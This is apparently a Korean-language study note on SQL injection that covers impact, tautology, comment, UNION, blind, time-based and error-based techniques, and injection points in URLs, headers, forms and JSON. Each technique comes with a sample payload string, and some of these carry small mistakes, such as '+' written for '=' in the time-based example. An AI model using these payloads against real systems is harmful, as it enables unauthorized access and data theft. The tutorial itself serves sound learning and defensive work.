SQL Injection(SQLi)는 웹 애플리케이션의 보안 취약점 중 하나로, 공격자가 악의적인 SQL 쿼리를 입력해 데이터베이스를 조작하거나 불법적으로 접근할 수 있도록 만드는 공격 기법이다.
→ 웹 애플리케이션이 사용자 입력을 제대로 검증하지 않을 때 발생한다.
SQLi로 인해 민감한 데이터가 유출되면 개인 혹은 기업에 심각한 피해를 줄 수 있고, 공격자가 시스템을 완전히 장악할 수 있게 되며, 데이터베이스가 변조되면 서비스의 신뢰성이 손상되어 브랜드 이미지에 큰 타격을 줄 수 있다.
단순히 SQL 쿼리를 조작해 사용자 인증을 우회하거나 데이터를 유출하는 것
로그인 폼이 있을 때, 아래와 같은 입력을 사용해 공격이 가능하다.
' OR '1'='1';
-> SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '';
-> '1'='1' 은 항상 참이므로, 데이터베이스는 모든 사용자를 선택할 수 있다.
쿼리의 일부를 무시하고 나머지 부분을 조작해 원하는 결과를 얻는 것
로그인 폼에서 아래와 같은 입력을 사용할 수 있다.
' OR '1'='1' --;
-> ' -- ' 는 SQL에서 주석을 나타내므로 이후의 쿼리는 무시된다.
-> 이 입력은 비밀번호 검증 부분을 무시해 인증을 우회 할 수 있다.
데이터베이스의 다른 테이블이나 컬럼에서 데이터를 유출하는 것
' UNION SELECT null, username, password FROM users --;
-> 이 입력은 쿼리 결과와 함께 'users' 테이블의 'username'과 'password'를 가져온다.
-> 이 스크립트는 취약한 애플리케이션이 쿼리 결과를 화면에 출력할 때 유용하다.
데이터베이스의 구조나 특정 데이터를 추출하기 위해 참/거짓 결과를 반복적으로 확인하는 것
' AND (SELECT SUBSTRING(version(), 1, 1)) = '5' -- ;
-> 이 스크립트는 데이터베이스 버전이 5로 시작하는지 확인한다.
-> 응답이 달라진다면, 이를 통해 데이터베이스 버전을 추론할 수 있다.
서버의 응답 시간을 이용해 데이터베이스의 정보를 추출하는 것
' AND IF((SELECT DATABASE()) + 'mydb', SLEEP(5), 0) -- ;
-> 만약 데이터베이스의 이름이 'mydb'라면, 서버는 5초동안 지연된다.
-> 응답 시간의 차이를 통해 조건의 참/거짓을 확인할 수 있다.
데이터베이스의 구조를 오류 메시지를 통해 추출하는 것
' OR 1-1 ORDER BY 100 -- ;
-> 'ORDER BY 100'은 실제 존재하지 않는 컬럼을 참조해 오류를 발생시킨다.
-> 오류 메시지를 통해 테이블의 컬럼 개숟 등을 알아낼 수 있다.
특정 테이블의 데이터를 직접 추출하는 것
' UNION SELECT 1, table_name FROM information_schema.tables WHERE table_schema=DATABASE() -- ;
-> 'inforamtion_schema.tables' 에서 현재 데이터베이스의 모든 테이블 이름을 가져온다.
-> 이후 이 정보를 기반으로 추가적 공격을 행할 수 있다.
사용 중인 데이터베이스의 버전을 확인해 추가적인 공격 전략을 계획할 수 있다.
' UNION SELECT null, null, @@version -- ;
-> '@@version'은 데이터베이스의 버전을 반환한다.
-> 공격자는 버전 정보를 바탕으로 취약한 기능이나 설정을 찾아낼 수 있다.
사용자 인증을 우회해 시스템에 무단 접근하는 것
admin' --
-> 로그인 폼에 'admin' -- '를 입력하면, 'admin' 계정으로 로그인할 수 있다.
→ 웹 애플리케이션이 데이터베이스와 상호작용 하는 방식에서 비롯된 취약점을 악용하는 것이다. 즉, 애플리케이션이 사용자로부터 입력 받은 데이터를 SQL 쿼리의 일부로 사용하면서, 그 입력 데이터를 제대로 검증하지 않으면 발생한다.
사용자의 입력과 SQL 쿼리의 상호작용
SELECT * FROM users WHERE username = '사용자 입력' AND password = '사용자 입력';
쿼리의 취약점
SELECT * FROM users WHERE username = 'admin' -- 'AND password = '비밀번호';
→ ‘--’ 이후의 내용은 주석 처리 되기 때문에, 비밀번호 조건이 무시되고, 데이터베이스는 사용자 이름이 ‘admin’인 계정을 반환한다.
쿼리 조작
' OR '1'='1'
-> SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '';
→ ‘1’=’1’는 항상 참이므로, 쿼리는 조건을 무시하고 모든 사용자 정보를 반환한다.
결과 및 피해
공격자는 애플리케이션이 SQL 쿼리를 처리하는 모든 지점을 목표로 삼을 수 있으며, 주로 사용자 입력이 데이터베이스와 상호작용 하는 부분이 공격의 초점이 된다.
' OR '1'='1' --
-> 모든 로그인 조건을 무력화해 인증 절차를 우회한다.' UNION SELECT null, username, password FROM users --
-> 검색 결과와 함께 데이터베이스의 다른 데이터를 결합해 출력이 가능하다.http://example.com/item?id=1' OR '1'='1
-> SQL 쿼리에서 'id' 파라미터를 통해 SQLi 공격을 시도한다.User-Agent: 'OR '1'='1
-> 애플리케이션이 'User-Agent' 헤더를 SQL 쿼리에 포함시킬 때
문제를 발생시킬 수 있다.<input type="text" name="name" value="' OR '1'='1">
-> SQLi 공격 유도 가능{"name": "' OR '1'='1"}
-> SQLi 유도 가능